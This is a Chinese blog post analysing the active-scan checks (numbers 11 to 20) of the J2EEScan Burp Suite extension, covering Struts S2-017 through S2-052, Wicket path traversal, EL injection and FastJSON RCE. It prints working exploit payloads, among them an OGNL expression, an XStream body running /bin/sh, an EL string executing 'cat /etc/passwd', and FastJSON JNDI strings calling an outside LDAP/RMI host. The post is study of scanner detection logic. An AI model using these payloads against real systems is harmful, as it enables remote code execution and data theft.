• 【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)


    【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)

    前言

    插件开发学习第7套。前置文章:

    【BurpSuite】插件开发学习之Log4shell
    【BurpSuite】插件开发学习之Software Vulnerability Scanner
    【BurpSuite】插件开发学习之dotnet-Beautifier
    【BurpSuite】插件开发学习之active-scan-plus-plus
    【BurpSuite】插件开发学习之J2EEScan(上)-被动扫描
    【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(1-10)

    继续上一章的分析

    分析

    【11】ApacheStrutsS2017-S2-017

    参数较016 少了redirect:

           redirectMeth.add("redirect:");
            redirectMeth.add("redirectAction:");
    
    • 1
    • 2

    payload

           rawrequest = callbacks.getHelpers().addParameter(rawrequest,
                            callbacks.getHelpers().buildParameter(redir, "http://www.example.com/%23", IParameter.PARAM_URL)
                    );
    
    
    • 1
    • 2
    • 3
    • 4

    这里竟然没有恶意参数,知识一个跳转
    match返回的状态码和header头

      if (statusCode >= 300 && statusCode < 400) {
                              if (header.substring(header.indexOf(":") + 1).trim().startsWith("http://www.example.com/")) {
    
    
    • 1
    • 2
    • 3

    看起来s2 017就是个URL跳转
    https://www.cnblogs.com/jinqi520/p/10813737.html
    在这里插入图片描述

    【12】ApacheStrutsS2020 - S2-020

    参数

    modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest,
                    callbacks.getHelpers().buildParameter("Class.classLoader.URLs[0]",
                            classLoaderStringTest, IParameter.PARAM_URL)
            );
    
    • 1
    • 2
    • 3
    • 4

    payload

    long unixTime = System.currentTimeMillis() / 1000L;
            String classLoaderStringTest = "testClassloaderManipulation" + unixTime;
    
    • 1
    • 2

    match返回包

        private static final Pattern CLASSLOADER_PM = Pattern.compile("Invalid field value for field|No result defined for action",
    
    
    • 1
    • 2

    这个漏洞原理是支持使用classLoader
    可以看这篇
    struts自定义的classloadr

    class.classLoader.resources.dirContext.docBase
    
    • 1

    在这里插入图片描述
    这里有两种绕过姿势

    • class[‘classLoader’]
    • Class.classloader
      问题正则
    (.*\.|^)class\..*  两种都能绕过
    (.*\.|^)(class|Class)(\.|\[).* 中括号可以绕过
    
    • 1
    • 2

    安全正则

    (.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*
    
    • 1

    【13】ApacheStrutsS2032 - S2-032

    老样子,去除所有参数

         byte[] rawrequest = baseRequestResponse.getRequest();
            //Remove URI parameters
            for (IParameter param : parameters) {
                rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    入参

    method:
    
    • 1

    payload

    %23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.hook[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString
    
    • 1

    展开看看

    #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
    #kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
    #kzxs.print(#parameters.hook[0]),
    #kzxs.print(new java.lang.Integer(829+9)),
    #kzxs.close(),1?
    #xx:
    #request.toString
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    第一步:从表达式上解释设置context中_memberAccess值为ognl.OgnlContext的属性DEFAULT_MEMBER_ACCESS的值.(SecurityMemberAccess 比较严格限制了反射类,DefaultMemberAccess不限制反射类),后面直接调用反射就行。
    其中hook[0]是后面的参数

    modifiedRawRequest = callbacks.getHelpers().addParameter(modifiedRawRequest,
                        callbacks.getHelpers().buildParameter("hook", "HOOK_VAL", IParameter.PARAM_URL)
                );
    
    • 1
    • 2
    • 3

    match,因为print了俩,一个是HOOK_VAL,一个是表达式计算的值。

    private static final Pattern DYNAMIC_METHOD_INVOCATION = Pattern.compile("HOOK_VAL838",
                Pattern.DOTALL | Pattern.MULTILINE);
    
    • 1
    • 2

    【14】ApacheStrutsS2043 - S2-043(Config Browser插件泄露)

    遍历path

    private static final List<String> BROWSER_PATHS = Arrays.asList(
                "/config-browser/actionNames",
                "/config-browser/actionNames.action"
        );
    
    • 1
    • 2
    • 3
    • 4

    请求之后match

    private static final byte[] GREP_STRING = "Actions in namespace".getBytes();
    
    • 1

    在这里插入图片描述

    【15】ApacheStrutsS2052-S2-052

    首先判断了有没有content-type

            String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
    
    
    • 1
    • 2

    毕竟payload要靠xml传过去
    增加content-type

            List<String> headersWithContentTypeXML = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/xml");
    
    
    • 1
    • 2

    payload

    String payload = " ping " + currentCollaboratorPayload;
    
            String xmlMarshallingBody= "\n" +
                "  \n" +
                "    \n" +
                "      0\n" +
                "      \n" +
                "        \n" +
                "          \n" +
                "            \n" +
                "              \n" +
                "                false\n" +
                "                0\n" +
                "                \n" +
                "                  \n" +
                "                    \n" +
                "                    \n" +
                "                      \n" +
                "                        /bin/sh-c " + payload + "\n" +
                "                      \n" +
                "                      false\n" +
                "                    \n" +
                "                  \n" +
                "                  \n" +
                "                    \n" +
                "                      java.lang.ProcessBuilder\n" +
                "                      start\n" +
                "                      \n" +
                "                    \n" +
                "                    foo\n" +
                "                  \n" +
                "                  foo\n" +
                "                \n" +
                "                \n" +
                "              \n" +
                "              \n" +
                "              \n" +
                "              false\n" +
                "              0\n" +
                "              0\n" +
                "              false\n" +
                "            \n" +
                "            false\n" +
                "          \n" +
                "          \n" +
                "        \n" +
                "        0\n" +
                "      \n" +
                "    \n" +
                "    \n" +
                "  \n" +
                "  \n" +
                "    \n" +
                "    \n" +
                "  \n" +
                "";
            
        
            
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59

    这个payload和之前的有所不同,查一下漏洞原理:
    使用Struts2 REST插件的XStream组件反序列化操作没有校验。
    https://blog.csdn.net/qq_44312507/article/details/103585253
    match的话match
    collaboratorContext的接收值就行。

    【16】ApacheStrutsShowcase

    ApacheStrutsShowcase
    关键路劲

       private static final List<String> STRUTS_SHOWCASE_PATHS = Arrays.asList(
                "/struts2-showcase/showcase.action"
        );
    
    • 1
    • 2
    • 3

    如果match到

    private static final byte[] GREP_STRING = "Struts2 Showcase".getBytes();
    
    • 1

    则存在问题

    看上去这个showcase.action在多个S2系列的漏洞中出现,比较容易出问题。
    https://www.anquanke.com/post/id/86757

    【16】ApacheStrutsWebConsole

    控制台路径

    private static final List<String> STRUTS_WEBCONSOLE_PATHS = Arrays.asList(
                "/struts/webconsole.html?debug=console"
        );
    
    • 1
    • 2
    • 3

    如果match到

    private static final byte[] GREP_STRING = "title>OGNL Console".getBytes();
    
    • 1

    则存在问题
    长这样
    在这里插入图片描述
    但是有利用条件
    只有在开启了Debug模式且ClassPath中使用了struts2-dojo-plugin-*.jar的情况下,webconsole.html页面才有可能存在安全漏洞的风险。
    https://www.secpulse.com/archives/48383.html

    【17】ApacheWicketArbitraryResourceAccess 目录穿越漏洞

    路径包含

    "wicket/resource")
    
    • 1

    payload则是替换掉上面的路径
    换成

        private static final List<String> PAYLOADS = Arrays.asList(
                "wicket/resource/int/wicket.properties,/bla/ HTTP",
                "wicket/resources/int/wicket.properties,/bla/ HTTP"
        );
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    这里采用的是替换原始请求包正则匹配

                    byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));
    
    
    • 1
    • 2

    match则是

        private static final byte[] GREP_STRING = "initializer=".getBytes();
    
    
    • 1
    • 2

    百度竟然没有找到相关漏洞解释
    去apache看看
    https://issues.apache.org/jira/browse/WICKET-4427
    看出来了,是目录穿越

    public ExtensionResourceNameIterator(String path, final String extension)
        {
            if ((extension == null) && (path.indexOf('.') != -1))
            {
    // Get the extension from the path provided
                extensions = new String[] { "." + Strings.lastPathComponent(path, '.') };
                path = Strings.beforeLastPathComponent(path, '.');
            }
            else if (extension != null)
            {
    // Extension can be a comma separated list
                extensions = Strings.split(extension, ',');
                for (int i = extensions.length - 1; i >= 0; i--)
                {
                    extensions[i] = extensions[i].trim();
                    if (!extensions[i].startsWith("."))
                    {
                        extensions[i] = "." + extensions[i];
                    }
                }
            }
            else
            {
                extensions = new String[1];
                extensions[0] = ".";
            }
    
            this.path = path;
            index = 0;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    注意这个分支

    else if (extension != null)
            {
    // Extension can be a comma separated list
                extensions = Strings.split(extension, ',');
                for (int i = extensions.length - 1; i >= 0; i--)
                {
                    extensions[i] = extensions[i].trim();
                    if (!extensions[i].startsWith("."))
                    {
                        extensions[i] = "." + extensions[i];
                    }
                }
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    相当于根据,取了多个后缀然后拼接造成了路径穿越。

    【18】EL3Injection EL 3.0/Lambda Injection EL表达式注入

    payload

       private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList(
                "System.getProperties()".getBytes()
        );            
         
    
    • 1
    • 2
    • 3
    • 4

    直接post请求发过去

                byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
                IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
                        baseRequestResponse.getHttpService(), checkRequest);
    
    • 1
    • 2
    • 3

    match到

        private static final byte[] GREP_STRING = "java.vendor".getBytes();  
        
    
    • 1
    • 2

    则存在漏洞
    这是直接执行命令??
    match的是命令结果
    在这里插入图片描述
    看了下文章
    在这里插入图片描述
    不太现实,是指用户的输入直接传入了elp.eval执行

    【19】ELInjection EL (Expression Language) Injection

    payload

            byte[] EL_TEST = "(new+java.util.Scanner((T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\").getInputStream()),\"UTF-8\")).useDelimiter(\"\\\\A\").next()".getBytes();
    
    
    • 1
    • 2

    拆分一下

    a = T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\")
    b = a.getInputStream()
    c = new java.util.Scanner(b,utf)
    d = c.useDelimiter(\"\\\\A\")
    e = d.next()
    
    • 1
    • 2
    • 3
    • 4
    • 5

    match的话就matchpasswd,这个判断不好,既然都是exec,为何不用ping这种跨平台的命令或者echo。

    第二中payload

         HashMap<byte[], byte[]> EL_INJECTIONS = new HashMap<byte[], byte[]>() {
                {
                    put("${applicationScope}".getBytes(), "javax.servlet.context".getBytes());
                    put("#{applicationScope}".getBytes(), "javax.servlet.context".getBytes());
                    put(String.format("${%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
                    put(String.format("#{%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
                    put(String.format("{{%d*%d}}", firstInt, secondInt).getBytes(), multiplication.getBytes());
                }
            };
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    key是payload,value是响应包的match
    EL表达式
    https://xz.aliyun.com/t/7692

    【20】FastJsonRCE CVE 2017-18349

    payload

        // https://github.com/jas502n/fastjson-1.2.61-RCE
            List<String> PAYLOADS = new ArrayList<>();
            PAYLOADS.add("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/obj\",\"autoCommit\":true}");
            PAYLOADS.add("{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://%s:80/ExportObject\"}");
            PAYLOADS.add("{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/ExportObject\",\"autoCommit\":true}}");
            PAYLOADS.add("{\"a\":{ \"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://%s:80/ExportObject\",\"autoCommit\":true}}");
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    记得改content-type

     String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
            if (contentTypeHeader != null && !contentTypeHeader.contains("json")) {
    
    • 1
    • 2

    match dnslog即可

    collaboratorContext
    
    • 1

    分析看这个吧
    http://xxlegend.com/2018/10/23/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/

    后话

    本章结束

  • 相关阅读:
    ros电机控制、ros决策规划
    clickhouse使用入门
    Spring系列五:Spring怎么解决循环依赖
    windows上安装MongoDB 4.4.16(详细教程)
    前端监控系列1| 字节的前端监控SDK是怎样设计的
    LeetCode算法递归类—剑指 Offer 26. 树的子结构
    CSDN每日一练 |『相似三角形』『 运输石油』『鬼画符门之宗门大比』2023-09-13
    【DSP】【第五篇】RBL源代码分析
    【机器学习+NER】手把手教你用机器学习CRF模型构建NER系统(CCL2021)
    Unity切换到另一个场景的时候,发现该场景变暗了
  • 原文地址:https://blog.csdn.net/xiru9972/article/details/126660663